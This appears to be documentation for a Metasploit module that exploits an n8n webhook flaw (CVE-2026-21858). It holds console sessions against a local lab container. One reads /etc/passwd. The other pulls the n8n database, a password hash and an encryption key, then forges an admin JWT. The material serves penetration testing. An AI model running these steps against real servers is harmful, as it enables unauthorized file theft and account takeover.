## Vulnerable Application

This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability
in the n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed
"Ni8mare", is a content-type confusion flaw in webhook request handling that allows attackers to
achieve arbitrary file read. According to the published write-up, this CVE can be used to attain
unauthenticated RCE; however, that requires additional steps. The unauthenticated file read is
bound by two conditions: a way to extract the loaded file (either via an exposed chatbot or another
means) and an exposed file upload form. Those conditions are
[rarely actual](https://horizon3.ai/attack-research/attack-blogs/the-ni8mare-test-n8n-rce-under-the-microscope-cve-2026-21858/) at
the same time. This module tries to use the CVE for different scenarios - privilege escalation,
where a low-privileged user is allowed to read an arbitrary file and eventually gain admin access
by forging a ticket.

To start vulnerable n8n container, run: `docker run -p5678:5678 n8nio/n8n:1.120.0`

## Verification Steps

1. Install the vulnerable n8n instance
1. Start msfconsole
1. Do: `use auxiliary/gather/ni8mare_cve_2026_21858`
1. Do: `set USERNAME [username]`
1. Do: `set PASSWORD [password]`
1. Do: `set ACTION [EXTRACT_SESSION/READ_FILE]`
1. Do: `set SPOOFED_USERNAME [username]` or `set TARGET_FILENAME [username]`
1. Do: `run`

## Options

### EMAIL

Email of user, which will create a malicious workflow to execute arbitrary file read.

### PASSWORD

Password of user, which will create a malicious workflow to execute arbitrary file read.

## SPOOFED_EMAIL

If EXTRACT_SESSION action is set, the SPOOFED_EMAIL defines a user for which a spoofed session will be created.

## TARGET_FILENAME

If READ_FILE action is set, this option represent a file, whose content will be extracted.

## N8N_CONFIG_DIR

Absolute path to config directory for n8n.

## Scenarios

### File read

```
msf auxiliary(gather/ni8mare_cve_2026_21858) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(gather/ni8mare_cve_2026_21858) > set RPORT 5678
RPORT => 5678
msf auxiliary(gather/ni8mare_cve_2026_21858) > set email admin@gmail.com
email => admin@gmail.com
msf auxiliary(gather/ni8mare_cve_2026_21858) > set password Supersecret9
password => Supersecret9
msf auxiliary(gather/ni8mare_cve_2026_21858) > set action READ_FILE
saction => READ_FILE
msf auxiliary(gather/ni8mare_cve_2026_21858) > set TARGET_FILENAME /etc/passwd
rTARGET_FILENAME => /etc/passwd
msf auxiliary(gather/ni8mare_cve_2026_21858) > run verbose=true
[*] Running module against 127.0.0.1
[*] Creating file upload workflow...
[*] Cleaning up workflow s8d1du2IUfRXpicE...
[+] Results saved to: /home/ms/.msf4/loot/20260204123428_default_127.0.0.1_etcpasswd_119553.txt
[*] Auxiliary module execution completed
msf auxiliary(gather/ni8mare_cve_2026_21858) > cat /home/ms/.msf4/loot/20260204123428_default_127.0.0.1_etcpasswd_119553.txt
[*] exec: cat /home/ms/.msf4/loot/20260204123428_default_127.0.0.1_etcpasswd_119553.txt

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
```

### Session extraction
```
msf auxiliary(gather/ni8mare_cve_2026_21858)> set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(gather/ni8mare_cve_2026_21858)> set RPORT 5678
RPORT => 5678
msf auxiliary(gather/ni8mare_cve_2026_21858)> set email admin@gmail.com
email => admin@gmail.com
msf auxiliary(gather/ni8mare_cve_2026_21858)> set password Supersecret9
password => Supersecret9
msf auxiliary(gather/ni8mare_cve_2026_21858)> set spoofed_email admin@gmail.com
spoofed_email => admin@gmail.com
msf auxiliary(gather/ni8mare_cve_2026_21858) > run verbose=true
[*] Running module against 127.0.0.1
[*] Creating file upload workflow...
[*] Cleaning up workflow eEqTclj3rxAS1KCb...
[+] Database saved to: /home/ms/.msf4/loot/20260204123341_default_127.0.0.1_database.sqlite_959168.bin
[+] Extracted user ID: 9701b0fb-dcf0-4431-93f2-570dbe48b102
[+] Extracted password hash: $2a$10$J7g5lE6/8P5K/58PR2YC..c0g02QEU5MTsFWqhUqf4.3p7sBrM4oW
[*] Creating file upload workflow...
[*] Cleaning up workflow uBmS93fou1Xw2554...
[+] Config file saved to: /home/ms/.msf4/loot/20260204123345_default_127.0.0.1_n8n.config_124017.bin
[+] Extracted encryption key: vEg+NXiKzB+E0w7isnvcM7TauaTwM4QF
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
[+] JWT ticket as admin@gmail.com: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijk3MDFiMGZiLWRjZjAtNDQzMS05M2YyLTU3MGRiZTQ4YjEwMiIsImhhc2giOiJMdzhCVHJKcEhRIn0.sxIbgD9ShEGvHbax2nbHHYv3CBXGLeNlx1dGbCCPttw
[*] Auxiliary module execution completed
```
